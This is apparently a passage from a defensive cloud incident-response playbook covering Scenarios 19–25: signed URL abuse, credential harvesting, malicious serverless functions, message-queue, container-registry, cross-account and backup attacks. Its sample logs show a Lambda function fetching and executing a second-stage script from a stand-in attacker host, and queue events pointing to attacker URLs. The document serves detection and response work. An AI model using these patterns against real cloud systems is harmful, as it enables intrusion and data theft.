RequestBody: eyJkYXRhIjoizmlsZS5kYXRhIn0= (base64)
UserAgent: curl/7.68.0
ResponseCode: 200

Decoded Payload:

```
{  
  "data": "file.data"  
}
```

Azure App Gateway Log:

```
{  
  "clientIP": "10.1.3.5",  
  "requestUri": "/status",  
  "responseBody": "cmd: scan /mnt/data",  
  "timestamp": "2025-08-08T22:43:00Z"  
}
```

4. Immediate Containment Steps

1. Disable the malicious API endpoint or full API deployment.
2. Block known C2-related endpoints/IPs (e.g., /metrics, /status) in WAF and egress filters.
3. Revoke IAM permissions that allowed API deployment.
4. Isolate infected assets communicating with the C2 endpoint.
5. Preserve all API Gateway logs for forensic timeline and payload extraction.

5. Investigation Workflow

- Step 1: Identify API endpoint creation and modification history.
- Step 2: Correlate internal host IPs communicating with the malicious API.
- Step 3: Decode base64/encrypted content to determine exfiltrated data or commands.
- Step 4: Hunt for malware or implants on source hosts.
- Step 5: Review all other deployed APIs for similar abuse patterns.

6. Prevention Recommendations

- Limit who can create and manage API Gateways via IAM/RBAC policies.
- Monitor API activity for:
 - High POST frequency
 - Obfuscated payloads (e.g., base64)
 - Non-standard URIs
- Apply WAF rules to inspect API request/response contents.
- Enable rate limiting, logging and alerting on all API endpoints.
- Regularly audit public/exposed APIs in cloud inventory scans.

Scenario 19 – Cloud Storage Signed URL Abuse for Undetectable File Drops

An attacker with access to a cloud identity (e.g., developer account, compromised CI/CD token) generates pre-signed URLs for:

- Exfiltrating sensitive files (download URLs).
- Uploading malware or C2 payloads (upload URLs).
- Sharing URLs with external systems or infected endpoints.

The URLs:

- Bypass login requirements and MFA, acting as temporary unauthenticated access.
- Do not trigger CloudTrail/Audit logs when accessed (since the request uses the URL directly).
- Can be valid for minutes or days, depending on how they're configured.

1. How This Incident Typically Happens

- Attacker compromises an IAM user or token with permission to generate signed URLs.
- They run:
 - AWS: `s3.generate_presigned_url`
 - Azure: `generateBlobSASQueryParameters`
 - GCP: `generate_signed_url`
- Malicious usage:
 - Download sensitive files via unlogged GETs.
 - Upload payloads to private buckets undetected.
 - Send the URL to malware implants to fetch second-stage tools.

2. Detection Sources & Log Locations

Cloud	Log Source	Detection Limitations	Purpose
AWS	CloudTrail	Only logs URL generation, not access	Detect signed URL misuse
Azure	Storage Logs	May not log download via SAS token	Requires enhanced diagnostics
GCP	Cloud Audit Logs	Signed URL access not always logged	Requires signed policy detection
VPC Flow Logs	Ingress/egress IP + URL paths	Helps detect access patterns to buckets	
SIEM	Correlated context	Cross-match file access with no login	High-value anomaly

3. Detection Example – SIEM/Alert

Alert Name: Cloud Storage – Suspicious Signed URL Generation and Silent Access
Trigger Condition: IAM user generates pre-signed URL for sensitive object + access from unrecognised external IP.

AWS CloudTrail Log (URL Generation):

```
{
  "eventTime": "2025-08-08T23:25:00Z",
  "eventName": "GetObject",
  "userIdentity": {
    "type": "IAMUser",
    "userName": "developer-temp"
  },
  "requestParameters": {
    "bucketName": "internal-docs",
    "key": "secrets/clients.xlsx",
    "presignedUrl": true
  }
}
```

VPC Flow Log:

Time: 2025-08-08T23:25:17Z
SrcAddr: 45.33.44.200
DstAddr: s3.amazonaws.com
Request URI: /internal-docs/secrets/clients.xlsx?X-Amz-Signature=abc...
BytesTransferred: 94392

4. Immediate Containment Steps

1. Invalidate known pre-signed URLs (if possible) or rotate affected IAM credentials.
2. Restrict signed URL generation permissions (e.g., only CI/CD roles).
3. Monitor egress traffic for continued use of leaked/abused URLs.
4. Search for additional URLs shared externally via logs, chat, git history or malware IOCs.
5. Tag and quarantine the affected files for forensics.

5. Investigation Workflow

- Step 1: Identify who generated the URL and why.
 - CloudTrail/Audit logs show identity, object and expiration.
- Step 2: Correlate access to the object with VPC logs or proxy logs.
- Step 3: Trace the distribution of the signed URL (was it in a phishing kit, malware, internal GitHub?).

- Step 4: Assess whether malware, ransomware or further payloads were downloaded via upload-type URLs.
- Step 5: Verify if retention policies or object versioning can help roll back any overwritten data.

6. Prevention Recommendations

- Limit use of signed URLs to strict use cases, ideally with short expiration and IP restrictions.
- Use object-level logging and versioning to monitor access and changes.
- Rotate access tokens and audit IAM policies frequently.
- Avoid using signed URLs for sensitive or production-critical data unless absolutely required.
- Alert on the generation of pre-signed URLs for sensitive paths (e.g., /secrets/, /backups/, /users/).

Scenario 20 – Cloud Account Enumeration and Credential Harvesting via Public Interfaces

Attackers perform external reconnaissance against cloud service interfaces to:

- Enumerate existing cloud accounts, usernames or tenants.
- Search public GitHub, GitLab and Pastebin for leaked access keys and secrets.
- Launch brute-force attacks or password spraying on login endpoints (e.g., AWS Console, Azure Portal, GCP OAuth).
- Use harvested credentials to gain foothold, then pivot internally.

These activities are often early-stage intrusions but can escalate rapidly if credentials are valid and MFA is not enforced.

1. How This Incident Typically Happens

- Attacker uses tools like:
 - S3Scanner, Aqua Trivy, cloud_enum or GitHub Dorks to find open buckets, repos and credentials.
- Common attack paths:
 - Find AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY in code.
 - Enumerate Azure tenants via login.microsoftonline.com response.
 - Identify GCP service account emails or OAuth tokens in public repos.
- Brute-force/spray attempts follow if login endpoints are accessible.

2. Detection Sources & Log Locations

Cloud	Log Source	Relevant Fields	Purpose
AWS	CloudTrail + IAM Auth Logs	ConsoleLogin, sourceIPAddress, userAgent	Detect login attempts and enumeration
Azure	Azure AD Sign-in Logs	userPrincipalName, status, clientAppUsed	Track failed login attempts
GCP	OAuth logs + IAM	email, loginChallenge, auditSessionId	Identify suspicious login attempts
GitHub	Audit Logs + Secret Scanning	repo, actor, eventType, leakedKey	Spot credential exposure
SIEM	Aggregated events	Spray + enumeration detection across platforms	Brute-force correlation

3. Detection Example – SIEM/Alert

Alert Name: Recon – Cloud Account Enumeration & Credential Exposure

Trigger Condition: Detected credential use attempt after GitHub leak + login attempts from unknown IPs.

GitHub Dork Finding:

<https://github.com/company-x/tools/blob/main/config.py>

Contains: AWS_SECRET_ACCESS_KEY =

'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY'

AWS IAM Auth Log:

```
{
  "eventTime": "2025-08-08T23:45:12Z",
  "eventName": "ConsoleLogin",
  "userIdentity": {
    "type": "IAMUser",
    "userName": "build-agent"
  },
  "sourceIPAddress": "203.0.113.45",
  "userAgent": "Mozilla/5.0",
  "responseElements": {
    "ConsoleLogin": "Failure"
  }
}
```

Azure Sign-In Attempt:

```
{
  "userPrincipalName": "devops@company.onmicrosoft.com",
  "status": {
    "errorCode": 50126,
    "failureReason": "Invalid username or password"
  },
  "ipAddress": "203.0.113.45",
  "timestamp": "2025-08-08T23:46:00Z"
}
```

4. Immediate Containment Steps

1. Revoke and rotate any exposed credentials immediately.
2. Invalidate sessions and tokens linked to compromised accounts.
3. Audit version control systems (e.g., GitHub) for further secret exposures.
4. Force MFA re-enrolment or enable conditional access policies.
5. Block attacker IPs at identity platforms, firewalls and reverse proxies.

5. Investigation Workflow

- Step 1: Identify which credentials were leaked and where (e.g., public GitHub repo).
- Step 2: Check if leaked credentials were used (successful vs failed logins).
- Step 3: Correlate login attempts with geolocation, timing and user agents.
- Step 4: Confirm whether credentials led to privilege escalation or resource access.
- Step 5: Use GitHub's secret scanning or community tools to find additional leaks.

6. Prevention Recommendations

- Use GitHub secret scanning, pre-commit hooks and .gitignore to avoid pushing secrets.
- Rotate cloud API keys regularly, even if no leaks are known.
- Enforce MFA across all cloud accounts and integrate with SSO/IdP.
- Deploy rate-limiting, lockout policies and identity protection for login endpoints.
- Monitor code repos, pastes and forums for brand-specific secrets or domains.

Scenario 21 – Exploiting Serverless Functions for Malicious Payload Execution and Persistence

An attacker abuses serverless compute platforms to:

- Deploy and execute malware, reverse shells or data collection scripts.
- Set up callbacks for C2 or beaconing.
- Leverage function triggers (e.g., file uploads, HTTP requests, message queues) to persist their execution environment.
- Avoid EDR/AV detection since serverless functions are not monitored by endpoint tools.

Examples:

- AWS Lambda
- Azure Functions
- GCP Cloud Functions

1. How This Incident Typically Happens

- Attacker compromises a cloud identity with CreateFunction, UpdateFunctionCode or InvokeFunction permissions.
- Deploys a malicious function (e.g., Python, Node.js) with embedded logic:
 - Download payload from C2.
 - Write exfiltrated data to external storage.
 - Trigger lateral movement.
- Associates function with auto-invocation triggers like:
 - S3 file upload
 - HTTP API call
 - Message queue event (e.g., SNS, EventGrid, Pub/Sub)

2. Detection Sources & Log Locations

Cloud	Log Source	Key Events	Purpose
AWS	CloudTrail + Lambda Execution Logs	CreateFunction, InvokeFunction, UpdateFunctionCode	Detect unauthorised Lambda activities
Azure	Activity Logs + Function App Logs	Microsoft.Web/sites/functions/write, runFunction	Log creation and execution
GCP	Audit Logs + Cloud Functions Logs	cloudfunctions.functions.create, functions.call	Catch function deployment and usage

SIEM	Cross-cloud alert correlation	Execution linked to unexpected triggers or external IOCs	Persistence detection
-------------	-------------------------------	--	-----------------------

3. Detection Example – SIEM/Alert

Alert Name: Serverless – Unauthorised Function Deployment Detected

Trigger Condition: New function created by unknown identity + outgoing connection to suspicious IP

AWS CloudTrail Log (Malicious Deployment):

```
{
  "eventTime": "2025-08-09T00:25:10Z",
  "eventName": "CreateFunction",
  "userIdentity": {
    "type": "IAMUser",
    "userName": "intern-dev"
  },
  "requestParameters": {
    "functionName": "ProcessQueue",
    "runtime": "python3.9",
    "handler": "index.lambda_handler",
    "code": "s3://hidden-bucket/malicious_payload.zip"
  }
}
```

Lambda Execution Log (Payload Download):

```
2025-08-09T00:26:15Z - Function triggered
Connecting to: http://attacker.tld/second_stage.sh
Download complete - Executing...
```

4. Immediate Containment Steps

1. Disable and delete the malicious function and its associated triggers.
2. Revoke access for any IAM roles used to deploy or invoke it.
3. Review execution logs and payloads fetched from external sources.
4. Monitor for lateral movement initiated from the function.
5. Block outbound communication from serverless environments to known malicious IPs.

5. Investigation Workflow

- Step 1: Identify how the attacker gained permission to deploy/modify functions.

- Step 2: Analyse the function code and runtime for embedded payloads.
- Step 3: Check for associated triggers that enable persistence or automation.
- Step 4: Review past executions, outbound connections and any changes to cloud resources.
- Step 5: Hunt for other modified or hidden functions across the environment.

6. Prevention Recommendations

- Apply least privilege IAM policies (e.g., restrict `lambda:CreateFunction`, `functions.create`).
- Monitor cloud function creation/modification via SIEM rules.
- Enforce code approval and CI/CD-only deployments (no manual uploads).
- Restrict function internet access or force use of secure egress paths.
- Use runtime protection tools or API gateways to inspect serverless input/output.

Scenario 22 – Abuse of Cloud Message Queues (SNS, EventGrid, Pub/Sub) for Lateral Movement and Persistence

Cloud message queues and pub-sub systems are designed to:

- Route events across distributed services.
- Trigger automated processes based on system changes.

Attackers exploit this by:

- Injecting malicious messages to trigger remote functions, workflows or services.
- Subscribing new endpoints or functions to existing queues (e.g., SNS topic, EventGrid).
- Hiding persistence logic in a flood of legitimate event messages.
- Causing payload distribution to different services without using direct API calls.

1. How This Incident Typically Happens

- Attacker compromises a role or user with publish/subscribe rights.
- Adds new subscribers or modifies existing queues to include malicious handlers (e.g., Lambda, Logic Apps).
- Publishes messages with:
 - Embedded malware payloads.
 - Links to attacker-controlled hosts.
 - Commands for remote execution.
- Queues propagate the message to multiple connected services, including cross-account destinations.

2. Detection Sources & Log Locations

Cloud	Log Source	Key Events	Purpose
AWS	CloudTrail + SNS Logs	Subscribe, Publish, SetTopicAttributes	Track subscription and payload
Azure	EventGrid + Activity Logs	Microsoft.EventGrid/eventSubscriptions/write	Detect new subscriptions or altered routes
GCP	Cloud Audit Logs + Pub/Sub Logs	CreateSubscription, PublishMessage	Monitor topic abuse
SIEM	Correlated logs	New subscribers, message triggers, lateral invocations	Alert on abuse patterns

3. Detection Example – SIEM/Alert

Alert Name: Messaging – Suspicious Queue Subscription or Malicious Payload Detected

Trigger Condition: New subscriber to sensitive topic + external payload sent via queue

AWS CloudTrail Log (Subscription Abuse):

```
{
  "eventTime": "2025-08-09T01:20:12Z",
  "eventName": "Subscribe",
  "userIdentity": {
    "type": "IAMUser",
    "userName": "ops-integration"
  },
  "requestParameters": {
    "topicArn": "arn:aws:sns:us-east-1:111122223333:CriticalAlerts",
    "protocol": "https",
    "endpoint": "https://attacker.site/payload"
  }
}
```

Azure EventGrid Event:

```
{
  "eventTime": "2025-08-09T01:21:00Z",
  "eventType": "Microsoft.Storage.BlobCreated",
  "data": {
    "url": "https://attacker.site/trigger.ps1"
  },
  "metadataVersion": "1"
}
```

4. Immediate Containment Steps

1. Remove unknown subscribers or endpoints from all sensitive topics or queues.
2. Revoke permissions for users or roles that added the subscription.
3. Inspect payloads and execution history of triggered functions or apps.
4. Block any outbound requests to attacker domains/IPs found in message content.
5. Preserve event logs and subscriptions for timeline reconstruction.

5. Investigation Workflow

- Step 1: Identify who added the new subscription or published the suspicious message.

- Step 2: Trace the message's path — which services/functions were triggered downstream.
- Step 3: Analyse the payload sent via message — command, download URL or data package.
- Step 4: Determine whether lateral access occurred across accounts or services.
- Step 5: Review the queue/topic configuration history and permission models.

6. Prevention Recommendations

- Limit Subscribe, Publish and CreateSubscription rights via IAM/RBAC.
- Audit all subscribers to critical messaging systems regularly.
- Implement approval workflows for adding new message handlers or subscribers.
- Alert on external-facing subscriber endpoints or anomalous payloads.
- Tag and monitor high-risk topics (e.g., CriticalAlerts, DeploymentEvents).

Scenario 23 – Abuse of Cloud Container Registry for Malware Hosting and Deployment

Cloud container registries can be abused to:

- Upload malicious container images with embedded backdoors, reverse shells or miners.
- Replace legitimate images with trojanised versions (supply chain attack).
- Disguise malware as utility containers used in CI/CD pipelines or Kubernetes clusters.
- Spread infections during automated deployments or serverless runtime initialisation.

Attackers may:

- Exploit misconfigured access (public pull, weak push permissions).
- Gain credentials and upload poisoned images.
- Embed payloads in ENTRYPOINT scripts or obscure layers.

1. How This Incident Typically Happens

- Attacker gains push access to a container registry (either internal or public cloud-based).
- They:
 - Push a malicious image under a legitimate tag (e.g., nginx:latest).
 - Embed malware inside the image — persistence agent, miner, stealer.
 - Wait for auto-deployment (e.g., Kubernetes, Lambda container-based, ECS) to pull it.
- In CI/CD, the poisoned image is automatically deployed to production.

2. Detection Sources & Log Locations

Cloud	Log Source	Key Events	Purpose
AWS	CloudTrail + ECR Scan Findings	PutImage, BatchCheckLayerAvailability, CVE alerts	Detect image upload and scanning
Azure	ACR Audit Logs + Defender for Cloud	Push, Pull, Run events	Track image activity and policy violations
GCP	Audit Logs + Artifact Registry Logs	docker.push, docker.pull, vulnerabilityScan	Monitor usage and vulnerabilities
CI/CD	Build Logs	docker build, docker push commands	Review build origin and stages

SIEM	Cross-log correlation	Alert on unknown image hashes or suspicious repositories	Threat hunting
-------------	-----------------------	--	----------------

3. Detection Example – SIEM/Alert

Alert Name: Container Registry – Suspicious Image Upload and Auto-Deployment

Trigger Condition: Unknown user pushes new image with vulnerable base layers + image is pulled into production within 15 mins

AWS CloudTrail Log (Image Push):

```
{
  "eventTime": "2025-08-09T02:30:00Z",
  "eventName": "PutImage",
  "userIdentity": {
    "type": "IAMUser",
    "userName": "automation-agent"
  },
  "requestParameters": {
    "repositoryName": "web-nginx",
    "imageTag": "latest"
  }
}
```

ECR Scan Finding:

```
{
  "imageDigest": "sha256:malicious123...",
  "vulnerabilities": [
    {
      "name": "CVE-2025-0401",
      "severity": "CRITICAL",
      "description": "Privilege escalation via init.sh"
    }
  ]
}
```

Kubernetes Deployment Log:

```
2025-08-09T02:34:12Z - Image `web-nginx:latest` pulled from ECR
2025-08-09T02:34:15Z - Pod started on node-3
2025-08-09T02:34:16Z - Malicious init script executed
```

4. Immediate Containment Steps

1. Identify and remove all containers using the malicious image.
2. Revoke registry credentials or IAM roles used to push the image.
3. Retag or delete the malicious image and re-push clean versions.
4. Conduct static and dynamic analysis of the image to understand payload.
5. Inspect CI/CD pipeline and access logs for compromise indicators.

5. Investigation Workflow

- Step 1: Identify who pushed the malicious image and when.
- Step 2: Extract and analyse all image layers — look for obfuscated scripts or binaries.
- Step 3: Trace where the image was pulled or deployed — which services, which nodes.
- Step 4: Check for lateral movement or outbound communication initiated by compromised workloads.
- Step 5: Correlate with EDR/XDR telemetry and VPC flow logs to assess impact.

6. Prevention Recommendations

- Use image signing and verification (e.g., Notary, Sigstore, Cosign) before deployment.
- Apply role-based access control to limit who can push images.
- Enforce runtime image scanning and policy-based admission control (e.g., OPA Gatekeeper).
- Lock tags (latest) or move to immutable tagging strategies.
- Regularly scan all registries and container sources for CVEs and known IOCs.

Scenario 24 – Abuse of Cross-Account Trust Relationships in Cloud IAM for Privilege Escalation

In multi-account environments (common in AWS Organizations, Azure Management Groups or GCP folders), cross-account access is often configured for:

- Centralised monitoring
- Shared CI/CD pipelines
- Vendor integrations

Attackers:

- Compromise a low-privileged account or service in Account A.
- Identify and exploit IAM roles that trust Account A in Account B.
- Assume roles in Account B and escalate privileges or access data.

This is one of the most dangerous cloud privilege escalation paths.

1. How This Incident Typically Happens

- Attacker compromises Account A via phishing, leaked keys or public credentials.
- Parses IAM role trust policies in Account B, which contain:

```
{
  "Effect": "Allow",
  "Principal": {
    "AWS": "arn:aws:iam::111122223333:role/ci-agent"
  },
  "Action": "sts:AssumeRole"
}
```

- Executes sts:AssumeRole to switch into Account B as the trusted role.
- Gains access to sensitive services or data in the second account (e.g., S3, EC2, Secrets Manager).

2. Detection Sources & Log Locations

Cloud	Log Source	Key Events	Purpose
AWS	CloudTrail (Both Accounts)	AssumeRole, sts:AssumeRole, CreateSession, ListBuckets	Detect cross-account activity
Azure	Azure AD Sign-in Logs + Privileged Identity Management (PIM)	Role assignments + token usage	Monitor delegated access

GCP	IAM Audit Logs + Token Exchange Logs	impersonate, generateAccessToken	Trace cross-project/account jumps
SIEM	Cross-account log correlation	Alert on unexpected trust path usage	Catch lateral movement

3. Detection Example – SIEM/Alert

Alert Name: Cross-Account – Suspicious Role Assumption Detected

Trigger Condition: Role in Account A assumes trusted role in Account B + performs high-privilege action

AWS CloudTrail (Account A):

```
{
  "eventTime": "2025-08-09T03:10:00Z",
  "eventName": "AssumeRole",
  "userIdentity": {
    "type": "IAMUser",
    "userName": "dev-integration"
  },
  "requestParameters": {
    "roleArn": "arn:aws:iam::222233334444:role/DataReadOnly",
    "roleSessionName": "malicious-session"
  }
}
```

AWS CloudTrail (Account B):

```
{
  "eventTime": "2025-08-09T03:10:04Z",
  "eventName": "ListBuckets",
  "userIdentity": {
    "type": "AssumedRole",
    "arn": "arn:aws:sts::222233334444:assumed-role/DataReadOnly/malicious-session"
  },
  "sourceIPAddress": "198.51.100.23"
}
```

4. Immediate Containment Steps

1. Revoke assumed-role session and invalidate temporary credentials.
2. Update trust policy of the affected role to remove unauthorised principals.
3. Rotate access keys and disable compromised users in Account A.

4. Audit both accounts for further lateral movement or data access.
5. Create detection logic for future cross-account assumptions.

5. Investigation Workflow

- Step 1: Identify the originating account, user and role used to assume the trusted role.
- Step 2: Trace which roles were assumed, what actions were performed and from where.
- Step 3: Review all trust policies for misconfigurations — overly broad Principal fields.
- Step 4: Correlate login times, IPs and session names across accounts.
- Step 5: Assess whether any data exfiltration occurred or further roles were assumed.

6. Prevention Recommendations

- Use external ID requirements and restrict trust policies to named services.
- Never trust entire accounts (e.g., Principal: "*" or full account ARN).
- Require MFA or conditional logic (IP, tags) for trusted role assumptions.
- Monitor all cross-account sts:AssumeRole actions with tight alerting.
- Audit trust relationships regularly across all accounts.

Scenario 25 – Exploiting Cloud Backup Services for Ransomware Impact or Long-Term Persistence

Cloud-native backup services like:

- AWS Backup, Azure Backup Vault, GCP Backup for GKE are trusted for DR and ransomware recovery.

Attackers are now:

- Deleting or encrypting cloud backups post-compromise.
- Injecting malicious files into snapshots or recovery points.
- Accessing backups to extract sensitive files (shadow exfiltration).
- Using backups as long-term persistence layers, especially in IaaS/PaaS workloads.

1. How This Incident Typically Happens

- Attacker escalates privileges or compromises backup automation credentials.
- Enumerates backups via API:
 - ListRecoveryPointsByResource (AWS)
 - Get-AzRecoveryServicesBackupItem (Azure)
 - gcloud backup plans list (GCP)
- Deletes backup sets or disables auto-backup jobs.
- Injects malware or C2 beacons into recovery volumes.
- Waits for scheduled restoration to re-establish foothold or re-encrypt.

2. Detection Sources & Log Locations

Cloud	Log Source	Key Events	Purpose
AWS	CloudTrail + Backup Audit Logs	DeleteRecoveryPoint, StartBackupJob, UpdateBackupPlan	Track backup changes
Azure	Azure Monitor + Activity Logs	BackupItemDeleted, JobStopped, VaultAccess	Backup manipulation
GCP	Cloud Audit Logs + GKE	backupVaults.delete, backupPlans.update	Track backup misuse
SIEM	Event correlation	Unusual deletion + privilege escalation + malware reappearance	Ransomware pattern

3. Detection Example – SIEM/Alert

Alert Name: Backup Compromise – Deletion and Snapshot Tampering Detected

Trigger Condition: Backup deletion + image restoration + malicious hash reappears in same directory

AWS CloudTrail Log:

```
{
  "eventTime": "2025-08-09T04:15:00Z",
  "eventName": "DeleteRecoveryPoint",
  "userIdentity": {
    "type": "AssumedRole",
    "arn": "arn:aws:sts::111122223333:assumed-role/BackupOps"
  },
  "requestParameters": {
    "backupVaultName": "FinanceVault",
    "recoveryPointArn": "arn:aws:backup:recovery-point:xyz"
  }
}
```

Azure Backup Vault Log:

2025-08-09T04:17:12Z - Restore job initiated from Recovery Point RP-20098
File detected post-restore: ransomware.exe (SHA256: bad123...)

4. Immediate Containment Steps

1. Stop all ongoing backup and restore operations.
2. Lock access to the compromised vault or backup plan.
3. Preserve backup logs and snapshot versions for forensic analysis.
4. Scan restored files for malware and tampering before reuse.
5. Implement restore-time anomaly detection and validation.

5. Investigation Workflow

- Step 1: Identify who accessed, modified or deleted backup plans or vaults.
- Step 2: Correlate activity with incident timeline — ransomware execution or system wipe.
- Step 3: Check for recurrence of malware in restored systems or across snapshots.
- Step 4: Validate if backup configurations were changed to bypass policies or reduce retention.
- Step 5: Restore from known-good snapshot after malware-free verification.

6. Prevention Recommendations

- Enforce multi-person approval (MFA + workflow) for any backup deletion or restoration.
- Use immutable backups and write-once-read-many (WORM) policies (e.g., AWS Vault Lock).

- Monitor for backup configuration changes, especially retention and scheduling.
- Isolate critical backup systems from default production networks.
- Deploy malware scanning pre-restore in CI/CD and DR pipelines.